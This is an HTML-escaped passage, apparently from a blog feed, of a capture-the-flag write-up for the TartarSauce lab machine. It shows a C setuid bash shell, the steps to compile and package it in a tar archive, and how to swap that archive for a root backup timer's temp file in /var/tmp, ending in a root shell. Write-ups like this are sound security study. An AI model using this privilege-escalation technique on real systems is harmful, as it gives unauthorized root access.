&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;-p&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Compile for the target machine: &lt;code&gt;gcc -m32 shell.c -o shell&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the setuid: &lt;code&gt;chmod +s shell&lt;/code&gt; (owner is already root (&lt;code&gt;0&lt;/code&gt;) as we&amp;rsquo;re on a Kali machine)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make the directory structure (still on our machine): &lt;code&gt;mkdir -p var/www/html&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Move our executable into the directory: &lt;code&gt;mv shell var/www/html/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tar the whole thing up: &lt;code&gt;tar -zcvf shell.tar.gz var/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we have our &lt;code&gt;shell.tar.gz&lt;/code&gt; file, we can transfer it over to the target machine (e.g. via a HTTP server like above) and place it into, e.g. &lt;code&gt;/var/tmp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;systemctl list-timers&lt;/code&gt;, we can see when our window of opportunity will open (as soon as LEFT goes to 0):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;NEXT LEFT LAST PASSED UNIT ACTIVATE
Mon 2020-02-10 10:52:38 EST 56s left Mon 2020-02-10 10:47:38 EST 4min 3s ago backuperer.timer backuper
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the backuperer script runs and we can see the temp file in &lt;code&gt;/var/tmp&lt;/code&gt;, we&amp;rsquo;ll replace it with our shell.tar.gz (&lt;code&gt;cp shell.tar.gz .&amp;lt;random name&amp;gt;&lt;/code&gt;). A few seconds later – if everything went fine, we should find the check folder with our setuid binary in it.&lt;/p&gt;
&lt;p&gt;Now we still have a couple of minutes left to execute the binary in &lt;code&gt;/var/tmp/check/var/www/html&lt;/code&gt;, which gives us a root bash shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;onuma@TartarSauce:/var/tmp/check/var/www/html$ ls
shell
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./shell 
bash-4.3# id 
uid=1000(onuma) gid=1000(onuma) euid=0(root) egid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(onuma)
bash-4.3# whoami
root
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cheers!&lt;/p&gt;</description></item></channel></rss>